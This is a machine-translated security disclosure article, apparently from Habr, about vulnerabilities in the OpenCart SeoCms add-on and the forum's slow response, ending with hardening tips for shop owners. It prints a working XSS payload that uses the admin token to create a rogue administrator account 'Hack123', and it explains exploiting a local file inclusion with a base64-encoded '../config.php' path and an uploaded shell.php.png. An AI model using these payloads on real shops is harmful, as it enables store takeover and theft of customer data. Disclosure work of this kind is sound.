Opencartforum und Freunde

Bild

Alle Hunde kommen in den Himmel und alle Besitzer von Online-Shops auf Opencart, früher oder später auf Opencartforum. Wenn die Euphorie von der ersten Installation der Engine auf dem Hosting vorbei ist und die harte Realität beginnt, vermisst der typische Ladenbesitzer immer etwas und beginnt den schwierigen Weg, qualifizierte Auftragnehmer und Qualitätszusätze für sein Laden zu finden.

Die größte Ressource in Runet, auf der Sie beide finden können, ist opencartforum.com, das heute mehr als 140.000 registrierte Benutzer hat. Von diesen 140.000 Registrierungen sind sogar die Hälfte lebende Personen mit Live-Shops, die Vorlagen oder Module verwenden, die sofort auf der Website gekauft werden können. Und all diese Leute merken nicht einmal, dass sie zusammen mit den Add-Ons wunderbare Hintertüren und Schwachstellen erwerben, von denen jeder Hacker nur träumen kann.

Obwohl in einer deklarativen Form in den Regeln für das Posten von Add-Ons im Forum Store, ist es in Schwarzweiß geschrieben. Wir haben qadepartment, speziell geschulte Leute überprüfen Add-Ons auf Schwachstellen.

Und weder das Forum als Plattform, die zwischen dem Autor und dem Endbenutzer des Add-Ons vermittelt, noch die Autoren der Add-Ons tragen, wie sich herausstellte, irgendeine Verantwortung.
Wie so? Und so! Anscheinend historisch.

Wenn ich mir die hypothetischen Konsequenzen der Vorfälle vorstelle, die später besprochen werden, stehen mir die Haare auf dem Kopf zu Berge.

Stellen Sie sich vor. Sie sind ein erfolgreicher Ladenbesitzer, haben seit ein paar Jahren nicht mehr nachts geschlafen, Texte geschrieben, an schwarzem, weißem, grauem SEO geknabbert, gegen Pandas gekämpft, minusinsk, Ihr Getränk nicht zu Ende gebracht, 100.000 Kunden angezogen und in Positionen investiert. Ihre Kinder gehen in einen guten Kindergarten, und dann ist Ihr Umsatz plötzlich um die Hälfte gesunken, einfach weil Ihre Basis mit allen Kontakten, die Kunden an Wettbewerber gingen. Oder plötzlich haben Sie es komplett verloren, weil Ihr Geschäft seit einem Monat auf dem MySQL-Server eines anderen arbeitet und Sie die Änderung von kofig nicht einmal bemerkt haben und alle Backups auf dem Hosting schlecht geworden sind.

Sie präsentierten ihre Gefühle in einer ähnlichen Situation, arbeiteten, arbeiteten mehrere Jahre und an einem Tag ist alles den Bach runter. Sie sagen, das kann nicht so sein.

Aber es kann sehr einfach sein. Es reicht aus, nur ein Add-On mit nicht deklariertem unausgesprochenem Schutz vor unbefugter Verwendung zu kaufen, und Ihre Daten können schnell zu Fremden werden!

Erster Vorfall


Vor sechs Monaten wurde ein Geschäft oberflächlich verhindert, als ein Ai-Bol- Scannerbericht eine seltsame Warnung für einen seltsamen Code im SeoCms- Modul zeigte (mehr als 10.000 aktive Installationen).

Wir begannen genauer hinzuschauen und es stellte sich heraus, dass dieses Abrakadabra einfach die Version des Add-Ons anzeigt:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

Es ist okay, außer dass:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

Es wird in keiner Weise gefiltert. Wenn versehentlich ein Skript wie das folgende anstelle der Client-Version eingeht, ist es eine Frage der Zeit und der Technik, Administratorzugriff auf ein Geschäft zu erhalten, in dem das Modul installiert ist.

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

Details der Situation werden hier beschrieben. Administrationshinweis hier .

Wahrscheinlich das fünfte Mal, nachdem dieser Prozess für die Forumverwaltung sehr klar modelliert wurde, war es möglich, die Kritikalität der Situation zu vermitteln.

Die Verwaltung wiederum hat die Benutzer offiziell über das Vorhandensein dieser Sicherheitsanfälligkeit informiert, und es scheint, dass sie sogar einen Newsletter für Kunden erstellt hat. Das ist aber nicht richtig.

Lassen wir die Bedrohungen und Ausweichmanöver des Autors des Add-Ons hinter den Kulissen und gehen noch zwei Monate zurück ...

Zweiter Vorfall


Ein weiteres Geschäft kommt zur Inspektion, in dem sich auf jeder Seite wilde Friese von bis zu 3-4 Sekunden befinden. Wir beginnen zu sezieren und sehen in dem Ordner mit einem Cache von mehr als 20.000 Dateien mit der Erweiterung .php. Cache Dateien mit der PHP-Erweiterung Karl, das ist kein Zufall!

Wir schauen uns die Datenstruktur dieser Dateien an und dort wieder Teile unseres schönen SEOCMS-Moduls.

Und eine großartige Methode:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

Dies ist ein Beispiel für eine klassische Sicherheitsanfälligkeit - Local File Include.

Es reicht aus, in base64 ../....../config.php zu codieren und hallo - require ($ ajax_file); Und bitte: Hier haben Sie die Passwörter aus der Datenbank, und hier ist das Systemfehlerprotokoll, und wenn sogar / etc / pwd sehr notwendig ist, obwohl es lange irrelevant war, aber was ist, wenn?

Und wie viele Hoster und Server mit Standardeinstellungen leuchten in der Welt von phpmyadmin? Die Hälfte? Mehr?

Wir beginnen weiter zu suchen und was finden wir? Wunderbarer Avatar-Download-Code:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

Was beim Versuch, die Größe zu ändern, perfekt in einen Fehler gerät (und uns den vollständigen Pfad zur heruntergeladenen Datei anzeigt), nachdem eine Art von shell.php.png geladen wurde, und dann auch von der vorherigen Methode perfekt ausgeführt wird.

Video zur Ausnutzung von Sicherheitslücken (mit aktivierter Ausgabe des PHP-Systemfehlers):


Video zur Ausnutzung von Sicherheitslücken (bei deaktivierter Ausgabe des PHP-Systemfehlers):


Die Code-Analyse wurde im April 2019 an der Version von Modul 52 durchgeführt.

Da sowohl der Autor als auch die Verwaltung des Forums zu denselben Terminen benachrichtigt wurden und genügend Zeit verstrichen ist, um alle möglichen Maßnahmen zu ergreifen, um Käufer über die Beseitigung von Sicherheitslücken zu informieren, können wir mit gutem Gewissen alle Details offenlegen.

Und in diesem Moment passierte etwas. Auf dem Server des Entwicklers befand sich sein eigenes Modul. Die Sicherheitsanfälligkeit hat jedoch nicht funktioniert. Sie war bedeckt ... Und das ist eine große Kuriosität. Sehr groß !!!

Und die zweite Kuriosität dieser ganzen Geschichte ist, dass das OpenCartforum in der Person der Verwaltung und der Abteilung für Qualitätskontrolle von Add-Ons weder den ersten noch den zweiten Vorfall sah und in beiden Fällen bei der ersten Benachrichtigung nichts Kritisches fand.

Natürlich gibt es nichts Kritisches, wenn Ihre Konfigurationen in der Welt glänzen. Es ist nichts Kritisches, wenn eine gute Hälfte der Ladenbesitzer nicht weiß, was unter ihrer Haube vor sich geht. Immerhin hat jemand dieses Add-On einmal installiert, und ohne Mailing merkt er nicht einmal, dass das gesamte Unternehmen direkt bedroht ist.

Und wenn es beim ersten Vorfall zu einer deutlichen Reaktion der Verwaltung gekommen ist, werden beim zweiten alle Beiträge mit einer Erwähnung gelöscht. Und all dies wird durch ein Forumangebot abgedeckt, wonach über kommerzielle Ergänzungen Kommentare wie über die Toten hinterlassen werden können - entweder gut oder nichts.

Der Autor behauptet auch, dass die Fehler und Löcher behoben sind, qadepartment das Add-On zum Verkauf verpasst hat, aber nein, die Löcher sind nicht behoben ...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

require () ist noch da. Die Eingabe ist leicht gefiltert. Aber das potenzielle LFI lebte und lebt. Wenn ein bisschen mehr, dann ja, jetzt können wir die Shell weder laden noch ausführen. Angenommen, wir haben versucht, die Ausführung von Skripten mit Ausnahme von index.php und sogar auf der Ebene der Nginx-Konfiguration, auf die auf keinen Fall zugegriffen werden kann, geschlossen, zementiert. Aber irgendwo anders hatte der böse Hacker die Möglichkeit, eine beliebige Datei in den Cache-Ordner zu legen. Was wird passieren? Das ist richtig - um fremden Code auszuführen und einen Hash in der get-Anfrage zu generieren, dauert es zwei Minuten. Das heißt, am Ende stellt sich heraus, dass es irgendwie geschlossen ist, aber es ist irgendwie nicht vollständig.

Nun, die kleinen Dinge: Wie so wunderschöne Beziehungen in den Sprachdateien leuchteten:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

Und sie leuchten ... Sie möchten den vollständigen Weg zur Wurzel des Projekts kennen. Suchen Sie einfach den Speicher mit aktivierter Fehleranzeige und führen Sie den Link direkt zur Sprachdatei aus.

Um zu untersuchen, was nach der Aktualisierung des Add-Ons in Megabyte Codezeilen des Autors noch alles möglich ist, gibt es weder Ressourcen noch Wünsche. Dafür gibt es speziell ausgebildete Verantwortliche.

Und die Kirsche auf dem Kuchen. Wir erinnern uns, wir haben ein kommerzielles Add-On ... Und in einem kommerziellen Add-On haben wir Text in der Ressource des Autors versteckt:
www.google.com/search?q=%22Powered+by+SEO+CMS%22

Interessanterweise kennt mindestens einer der Add-On-Käufer ein so „wunderbares“ Osterei?

Heute wird die Ergänzung sowohl verkauft als auch verkauft. Beiträge mit Aufrufen zur Beachtung der Situation werden einfach gelöscht. Keiner der Käufer erhielt Warnmeldungen über den zweiten Vorfall. Vielleicht haben 20 bis 30% der Add-On-Benutzer ein Update durchgeführt, aber 70% - selbst wenn wir über die Statistiken des offiziellen Autors zur Verwendung von Add-Ons sprechen - sind dies 7000 Geschäfte (tatsächlich mehr - da niemand genau weiß, wie viele Kopien von Freiberuflern in Kundengeschäften installiert wurden erweiterte Lizenz) befinden sich in einer riesigen Risikozone.

Mit den Worten von Baron Münchhausen möchte ich nur eines sagen: Aktualisierte Herren!

Für Kunden


Was tun, diejenigen, die in diesem sinkenden U-Boot gelandet sind:

  • Lassen Sie keinen Müll auf FTP. Zeigen Sie info.php, adminer.php und alle anderen Abfälle an. Sie sollten nur index.php und einen Punkt haben.
  • Ändern Sie regelmäßig Passwörter, alle Passwörter (FTP, Admin-Panel, Datenbank). Und stellen Sie sicher, dass Sie nicht versehentlich besonders seltsame Konten haben.
  • Fehlerausgabe deaktivieren. Wenn Sie nicht arbeiten, schalten Sie die Fehlerausgabe immer auf der Interpreter-Konfigurationsebene und nicht in den Speichereinstellungen aus.
  • Ja, ich weiß, dass dies nicht sehr machbar ist, aber Sie sollten zumindest über Aktualisierungen des Engine-Codes in Bezug auf die Sicherheit auf dem Laufenden bleiben und die Engine im Idealfall regelmäßig auf stabile Versionen aktualisieren.
  • Schauen Sie sich regelmäßig die Protokolle der Besuche an, es kann viele interessante Dinge geben. Verfolgen Sie Anomalien.
  • Schließen Sie zusätzlich mit einem Passwort oder einer Einschränkung des IP-Administrators des Stores und verschiedener anfälliger Bereiche, wie z. B. phpmyadmin. Wenn dies eine Freigabe ist, bei der phpmyadmin allen gemeinsam ist, laufen Sie vor einem solchen Hosting davon!
  • Wenn Sie sxd und ähnliche Dienstprogramme verwenden, benennen Sie diese sofort in einen zufälligen Zeichensatz um.
  • Bei Verwendung von nginx lohnt es sich, der Konfiguration des virtuellen Hosts Regeln hinzuzufügen, die das Ausführen anderer PHP-Skripte als index.php im Stamm- und Administratorbereich der Site verbieten.
  • Werfen Sie keinen Müll von Ihrem Konto. Wenn Sie ein Geschäft haben, dann lassen Sie es ein Geschäft sein. Laden Sie nicht unter einem Konto eine Reihe von WP-Blogs, eine Reihe von Fehlern und verschiedene Testdomänen.
  • Speichern Sie niemals Sicherungen einer Site oder Datenbank im Stammverzeichnis Ihres virtuellen Hosts.
  • Beobachten Sie die Auslastung des Servers / Hostings, versuchen Sie, die Versorgung mindestens x2 von Spitzenlasten fernzuhalten, und versuchen Sie, den Grund herauszufinden, wenn die Auslastung plötzlich ohne Grund plötzlich zunimmt. Besser überholen als nicht überholen!

Source: https://habr.com/ru/post/de466283/


All Articles